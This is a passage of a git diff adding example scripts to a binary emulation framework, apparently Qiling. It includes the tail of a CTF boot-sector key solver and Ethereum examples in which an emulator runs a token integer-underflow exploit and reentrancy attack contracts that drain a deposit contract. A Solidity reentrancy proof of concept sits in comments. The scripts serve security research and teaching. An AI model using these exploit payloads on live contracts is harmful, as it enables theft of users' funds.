0x8809)) + key_size = guess_key_size(data) # Should be 17 + seqs = [] + for i in range(key_size): + seq = b"" + j = i + while j < len(data): + seq += bytes([data[j]]) + j += key_size + seqs.append(seq) + seqs_keys = cal_count_for_seqs(seqs) + keys = search_possible_key(seqs, seqs_keys) + return keys + + +def read_until_zero(ql: Qiling, addr): + buf = b"" + ch = -1 + while ch != 0: + ch = ql.mem.read(addr, 1)[0] + buf += pack("B", ch) + addr += 1 + return buf + +def set_required_datetime(ql: Qiling): + ql.log.info("Setting Feburary 06, 1990") + ql.arch.regs.ch = BIN2BCD(19) + ql.arch.regs.cl = BIN2BCD(1990%100) + ql.arch.regs.dh = BIN2BCD(2) + ql.arch.regs.dl = BIN2BCD(6) + +def stop(ql, addr, data): + ql.emu_stop() + +# In this stage, we get the encrypted data which xored with the specific date. +def first_stage(): + ql = Qiling(["rootfs/8086/doogie/doogie.DOS_MBR"], + "rootfs/8086", + console=False) + ql.add_fs_mapper(0x80, QlDisk("rootfs/8086/doogie/doogie.DOS_MBR", 0x80)) + # Doogie suggests that the datetime should be 1990-02-06. + ql.os.set_api((0x1a, 4), set_required_datetime, QL_INTERCEPT.EXIT) + # A workaround to stop the program. + hk = ql.hook_code(stop, begin=0x8018, end=0x8018) + ql.run() + ql.hook_del(hk) + return ql + +if __name__ == "__main__": + ql = first_stage() + # resume terminal + curses.endwin() + keys = second_stage(ql) + for key in keys: + print(f"Possible key: {key}") + # The key of this challenge is not unique. The real + # result depends on the last ascii art. + print("Going to try every key.") + time.sleep(3) + third_stage(keys) + # resume terminal + curses.endwin() \ No newline at end of file diff --git a/examples/evm/evm_Hexagon_overflow.py.orig b/examples/evm/evm_Hexagon_overflow.py.orig new file mode 100644 index 000000000..7bf4f50e0 --- /dev/null +++ b/examples/evm/evm_Hexagon_overflow.py.orig @@ -0,0 +1,52 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +# https://etherscan.io/tx/0x9243d45ca81db4f16a0ded3e57982b4bc95ec32ce69d541bf6e019d949cbc6c8 +# https://www.anquanke.com/post/id/145520 + +import sys + +sys.path.append("../..") +from qiling import * + + +def example_run_evm(): + contract = '0x606060405266017dfcdece4000600055341561001a57600080fd5b600160a060020a033316600090815260016020526040902066017dfcdece400090556106eb8061004b6000396000f3006060604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018957806323b872dd146101ae57806327edf097146101d6578063313ce567146101ff578063378dc3dc1461021257806342966c681461022557806370a082311461023b578063771282f61461025a57806395d89b411461026d578063a9059cbb14610280578063dd62ed3e146102a2575b600080fd5b34156100d457600080fd5b6100dc6102c7565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610118578082015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015e57600080fd5b610175600160a060020a03600435166024356102fe565b604051901515815260200160405180910390f35b341561019457600080fd5b61019c6103a4565b60405190815260200160405180910390f35b34156101b957600080fd5b610175600160a060020a03600435811690602435166044356103aa565b34156101e157600080fd5b6101e9610422565b60405160ff909116815260200160405180910390f35b341561020a57600080fd5b6101e9610427565b341561021d57600080fd5b61019c61042c565b341561023057600080fd5b610175600435610437565b341561024657600080fd5b61019c600160a060020a03600435166104ea565b341561026557600080fd5b61019c6104fc565b341561027857600080fd5b6100dc610502565b341561028b57600080fd5b610175600160a060020a0360043516602435610539565b34156102ad57600080fd5b61019c600160a060020a036004358116906024351661054f565b60408051908101604052600781527f48657861676f6e00000000000000000000000000000000000000000000000000602082015281565b60008115806103305750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b151561033b57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005490565b600160a060020a03808416600090815260026020908152604080832033909416835292905290812054829010156103e057600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052208054839003905561041884848461056c565b5060019392505050565b600281565b600481565b66017dfcdece400081565b600160a060020a0333166000908152600160205260408120548290101561045d57600080fd5b600160a060020a033316600081815260016020526040808220805486900390558180527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980548601905581548590039091557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b60016020526000908152604090205481565b60005481565b60408051908101604052600381527f4858470000000000000000000000000000000000000000000000000000000000602082015281565b600061054633848461056c565b50600192915050565b600260209081526000928352604080842090915290825290205481565b600160a060020a038216151561058157600080fd5b600160a060020a038316600090815260016020526040902054600282019010156105aa57600080fd5b600160a060020a038216600090815260016020526040902054818101116105d057600080fd5b600160a060020a03808416600081815260016020526040808220805460011990879003810190915593861682528082208054860190558180527fa6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb4980546002908101909155825490940190915590917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5915160ff909116815260200160405180910390a281600160a060020a031683600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050505600a165627a7a72305820fbef5b10322242b8659b5de8e24ec1cf5e809831f6f7c08e52112f76daa31aef0029' + ql = Qiling(code=contract, archtype="evm") + + user1 = ql.arch.evm.create_account(balance=100*10**18) + user2 = ql.arch.evm.create_account(balance=100*10**18) + c1 = ql.arch.evm.create_account() + + def check_balance(sender, destination): + call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender]) + msg2 = ql.arch.evm.create_message(sender, destination, data=call_data) + return ql.run(code=msg2) + + # Deploy runtime code + msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1) + ql.run(code=msg0) + + # # SMART CONTRACT DEPENDENT: check balance of user1 + result = check_balance(user1, c1) + print('User1 balance =', int(result.output.hex()[2:], 16)) + + # # SMART CONTRACT DEPENDENT: transform from user1 to user2 + call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \ + ql.arch.evm.abi.convert(['uint256'], [0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe]) + msg1 = ql.arch.evm.create_message(user1, c1, data=call_data) + result = ql.run(code=msg1) + if int(result.output.hex()[2:], 16) == 1: + print('User1 transfered Token to User1') + + # # SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1 + result = check_balance(user1, c1) + print('User1 final balance =', int(result.output.hex()[2:], 16)) + + result = check_balance(user2, c1) + print('User2 final balance =', int(result.output.hex()[2:], 16)) + +if __name__ == "__main__": + example_run_evm() \ No newline at end of file diff --git a/examples/evm/evm_debugger.py.orig b/examples/evm/evm_debugger.py.orig new file mode 100644 index 000000000..068aedad9 --- /dev/null +++ b/examples/evm/evm_debugger.py.orig @@ -0,0 +1,25 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys + +sys.path.append("../..") +from qiling import * + +if __name__ == '__main__': + contract = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029' + ql = Qiling(code=contract, archtype="evm") + ql.debugger = True + + # Add Balance Var to the contract + bal = ql.arch.evm.abi.convert(['uint256'], [20]) + contract = contract + bal + + user1 = ql.arch.evm.create_account(balance=100*10**18) + user2 = ql.arch.evm.create_account(balance=100*10**18) + c1 = ql.arch.evm.create_account() + + msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1) + ql.run(code=msg0) \ No newline at end of file diff --git a/examples/evm/evm_reentrancy.py.orig b/examples/evm/evm_reentrancy.py.orig new file mode 100644 index 000000000..8c9259562 --- /dev/null +++ b/examples/evm/evm_reentrancy.py.orig @@ -0,0 +1,84 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys + +sys.path.append("../..") +from qiling import * +from qiling.arch.evm.vm.utils import bytecode_to_bytes, runtime_code_detector +from qiling.arch.evm.vm.vm import BaseVM +from qiling.arch.evm.constants import CREATE_CONTRACT_ADDRESS + + +if __name__ == '__main__': + # Attack_contract = '0x608060405234801561001057600080fd5b5060405160208061046d83398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506103ea806100836000396000f300608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636289d38514610152578063acd2e6e51461015c578063ff11e1db146101b3575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610150576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561013757600080fd5b505af115801561014b573d6000803e3d6000fd5b505050505b005b61015a6101ca565b005b34801561016857600080fd5b50610171610339565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101bf57600080fd5b506101c861035e565b005b670de0b6b3a764000034101515156101e157600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2c41dbc670de0b6b3a76400006040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561026e57600080fd5b505af1158015610282573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561031f57600080fd5b505af1158015610333573d6000803e3d6000fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156103bb573d6000803e3d6000fd5b505600a165627a7a723058204ad3139b1085c12112b76e9eab70c6589942d6e84eb3d8329a644eca757c19d00029' + Attack_contract = '0x608060405234801561001057600080fd5b506040516020806104b883398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610435806100836000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a75e462514610179578063ff11e1db146101e1575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610177576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600060149054906101000a90047c0100000000000000000000000000000000000000000000000000000000027c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505b005b6101df60048036038101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506101f8565b005b3480156101ed57600080fd5b506101f66103a9565b005b80600060146101000a81548163ffffffff02191690837c010000000000000000000000000000000000000000000000000000000090040217905550670de0b6b3a7640000341015151561024a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000837c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af19350505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16817c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610406573d6000803e3d6000fd5b505600a165627a7a723058205aacb19a5864d2c460aed6c844f2aca575d87de6477ac757a72511bb2975b3f80029' + + ql = Qiling(code=Attack_contract, archtype="evm") + vm:BaseVM = ql.arch.evm.vm + + C1 = b'\xaa' * 20 + C2 = b'\xbb' * 20 + User1 = b'\xcc' * 20 + User2 = b'\xde\xad\xbe\xef' * 5 + + ql.arch.evm.create_account(C1) + ql.arch.evm.create_account(C2) + ql.arch.evm.create_account(User1, 100*10**18) + ql.arch.evm.create_account(User2, 100*10**18) + + EtherStore_contract = '0x6080604052670de0b6b3a764000060005534801561001c57600080fd5b506103b08061002c6000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820707bf0ae11ce52ff7b7846ede3497d41b6fadea29579773fc70e8e61c0f549f10029' + + print('Init Victim balance is', vm.state.get_balance(User1)/10**18) + print('Init Attacker balance is', vm.state.get_balance(User2)/10**18) + + code1 = bytecode_to_bytes(EtherStore_contract) + print('\n------ Deploy DeFi contract') + # 1. deploy EtherStore + msg1 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User1, 0, b'', code1, contract_address=C1) + res = vm.execute_message(msg1) + + res_code = bytecode_to_bytes(res.output) + runtime_code, aux_data, constructor_args = runtime_code_detector(res_code) + rt_code = bytecode_to_bytes(runtime_code) + print('Victim balance: ', vm.state.get_balance(User1)/10**18) + + print('\n------ Victim deposit Funds 20ETH to DeFi contract') + # 2. User1 depositFunds 20ETH to bank + call_data = '0xe2c41dbc' + msg2 = vm.build_message(None, 1, 3000000, C1, User1, 20*10**18, bytecode_to_bytes(call_data), rt_code) + res = vm.execute_message(msg2) + # print(res.output) + print('Victim balance: ', vm.state.get_balance(User1)/10**18) + + code2 = bytecode_to_bytes(Attack_contract+ql.arch.evm.abi.convert(['address'], [C1])) + # print(code2.hex()) + print('\n------ Deploy Attack Contract') + + # 3. deploy Attack + # ql.debugger = True + msg3 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User2, 0, b'', code2, contract_address=C2) + res = vm.execute_message(msg3) + # ql.debugger = False + + res_code = bytecode_to_bytes(res.output) + runtime_code, aux_data, constructor_args = runtime_code_detector(res_code) + rt_code1 = bytecode_to_bytes(runtime_code) + + print('\n------ Attacker deposit 1 ETH to DeFi contract, Start Reentrancy Attack') + # 4. User2 pwnEtherStore with 1ETH + call_data = '0xa75e4625' + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes('0xe2c41dbc')]) + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes('0x155dd5ee')]) + # ql.debugger = True + msg4 = vm.build_message(None, 1, 3000000, C2, User2, 1*10**18, bytecode_to_bytes(call_data), rt_code1) + res = vm.execute_message(msg4) + # ql.debugger = False + print('Attacker balance: ', vm.state.get_balance(User2)/10**18) + + print('\n------ Attacker steal Ether from DeFi contract') + # 5. User2 collectEther + call_data = '0xff11e1db' + msg5 = vm.build_message(None, 1, 3000000, C2, User2, 0, bytecode_to_bytes(call_data), rt_code1) + res = vm.execute_message(msg5) + print('Attacker balance: ', vm.state.get_balance(User2)/10**18) diff --git a/examples/evm/evm_reentrancy_vol.py.orig b/examples/evm/evm_reentrancy_vol.py.orig new file mode 100644 index 000000000..ae732cc25 --- /dev/null +++ b/examples/evm/evm_reentrancy_vol.py.orig @@ -0,0 +1,133 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys + +sys.path.append("../..") +from qiling import * +from qiling.arch.evm.vm.utils import bytecode_to_bytes, runtime_code_detector +from qiling.arch.evm.vm.vm import BaseVM +from qiling.arch.evm.constants import CREATE_CONTRACT_ADDRESS + + +def template(vic_contract, deposit, withdraw): + Attack_contract = '0x608060405234801561001057600080fd5b506040516020806104b883398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610435806100836000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a75e462514610179578063ff11e1db146101e1575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610177576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600060149054906101000a90047c0100000000000000000000000000000000000000000000000000000000027c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505b005b6101df60048036038101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506101f8565b005b3480156101ed57600080fd5b506101f66103a9565b005b80600060146101000a81548163ffffffff02191690837c010000000000000000000000000000000000000000000000000000000090040217905550670de0b6b3a7640000341015151561024a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000837c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af19350505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16817c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610406573d6000803e3d6000fd5b505600a165627a7a723058205aacb19a5864d2c460aed6c844f2aca575d87de6477ac757a72511bb2975b3f80029' + + ql = Qiling(code=Attack_contract, archtype="evm") + vm:BaseVM = ql.arch.evm.vm + + C1 = b'\xaa' * 20 + C2 = b'\xbb' * 20 + User1 = b'\xcc' * 20 + User2 = b'\xde\xad\xbe\xef' * 5 + + ql.arch.evm.create_account(C1) + ql.arch.evm.create_account(C2) + ql.arch.evm.create_account(User1, 100*10**18) + ql.arch.evm.create_account(User2, 100*10**18) + + EtherStore_contract = vic_contract + + + print('Init Victim balance is', vm.state.get_balance(User1)/10**18) + print('Init Attacker balance is', vm.state.get_balance(User2)/10**18) + + code1 = bytecode_to_bytes(EtherStore_contract) + print('\n------ Deploy DeFi contract') + # 1. deploy EtherStore + msg1 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User1, 0, b'', code1, contract_address=C1) + res = vm.execute_message(msg1) + + res_code = bytecode_to_bytes(res.output) + runtime_code, aux_data, constructor_args = runtime_code_detector(res_code) + rt_code = bytecode_to_bytes(runtime_code) + print('Victim balance: ', vm.state.get_balance(User1)/10**18) + + print('\n------ Victim deposit Funds 20ETH to DeFi contract') + # 2. User1 depositFunds 20ETH to bank + call_data = deposit + msg2 = vm.build_message(None, 1, 3000000, C1, User1, 20*10**18, bytecode_to_bytes(call_data), rt_code) + res = vm.execute_message(msg2) + # print(res.output) + print('Victim balance: ', vm.state.get_balance(User1)/10**18) + + code2 = bytecode_to_bytes(Attack_contract+ql.arch.evm.abi.convert(['address'], [C1])) + # print(code2.hex()) + print('\n------ Deploy Attack Contract') + + # 3. deploy Attack + # ql.debugger = True + msg3 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User2, 0, b'', code2, contract_address=C2) + res = vm.execute_message(msg3) + # ql.debugger = False + + res_code = bytecode_to_bytes(res.output) + runtime_code, aux_data, constructor_args = runtime_code_detector(res_code) + rt_code1 = bytecode_to_bytes(runtime_code) + + print('\n------ Attacker deposit 1 ETH to DeFi contract, Start Reentrancy Attack') + # 4. User2 pwnEtherStore with 1ETH + call_data = '0xa75e4625' + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes(deposit)]) + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes(withdraw)]) + + msg4 = vm.build_message(None, 1, 3000000, C2, User2, 1*10**18, bytecode_to_bytes(call_data), rt_code1) + res = vm.execute_message(msg4) + # print(res.output) + print('Attacker balance: ', vm.state.get_balance(User2)/10**18) + + print('\n------ Attacker steal Ether from DeFi contract') + # 5. User2 collectEther + call_data = '0xff11e1db' + msg5 = vm.build_message(None, 1, 3000000, C2, User2, 0, bytecode_to_bytes(call_data), rt_code1) + res = vm.execute_message(msg5) + print('Attacker balance: ', vm.state.get_balance(User2)/10**18) + + +if __name__ == '__main__': + contract_1 = '0x6080604052670de0b6b3a764000060005534801561001c57600080fd5b506103b08061002c6000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820707bf0ae11ce52ff7b7846ede3497d41b6fadea29579773fc70e8e61c0f549f10029' + c1_deposit = '0xe2c41dbc' + c1_withdraw = '0x155dd5ee' + + contract_2 = '0x608060405234801561001057600080fd5b5033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506106dc806100616000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630c08bf881461014d578063590e1ae314610164578063a9059cbb1461017b578063e42c08f2146101c8575b600080339150349050600060648281151561007957fe5b0614151561008657600080fd5b60648181151561009257fe5b046000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507fc848a0bc6fc10f63d456eae535b952f8768bfd21d409b4933f8032cce0432ea48183604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050005b34801561015957600080fd5b5061016261021f565b005b34801561017057600080fd5b50610179610312565b005b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610434565b005b3480156101d457600080fd5b50610209600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610658565b6040518082815260200191505060405180910390f35b600034111561022d57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561028957600080fd5b7fedf2f7451a6c99c99b58baaddbe18df51bec156fe6ae8dd3ea730168326f94cd3073ffffffffffffffffffffffffffffffffffffffff16316040518082815260200191505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600080600034111561032357600080fd5b3391506000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081141561037557600080fd5b61038160648202610670565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f658eefd1c566207ffd3fb44f4d9b1e443698a39f8a6f7b134b3fef529e3f3f028183604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60008034111561044357600080fd5b339050816000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561049157600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101561051c57600080fd5b816000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507fa25be434081445744d5b297a785f7b7073142ae4bcd91a0e7aa802f802b4e0c7828285604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1505050565b60006020528060005260406000206000915090505481565b60003373ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af19250505090508015156106ac57600080fd5b50505600a165627a7a72305820e5031f476480cd5d80ec7b267c7bf4c672137328294cb6b71bbb631ce9b99fc20029' + c2_deposit = '' + c2_withdraw = '0x590e1ae3' + + template(contract_1, c1_deposit, c1_withdraw) + print('\n\n\n**************************\n\n\n') + template(contract_2, c2_deposit, c2_withdraw) + + +### genernal reentrancy poc ### + +# contract Attack { +# address victim; +# bytes4 withdraw_id; + +# constructor(address addr) { +# victim = addr; +# } + +# function pwn(bytes4 deposit, bytes4 withdraw) public payable { +# withdraw_id = withdraw; +# // attack to the nearest ether +# require(msg.value >= 1 ether); +# // send eth to the depositFunds() function +# victim.call.value(1 ether)(deposit); +# victim.call(withdraw, 1 ether); + +# //etherStore.depositFunds.value(1 ether)(); +# // start the magic +# //etherStore.withdrawFunds(1 ether); +# } + +# function collectEther() 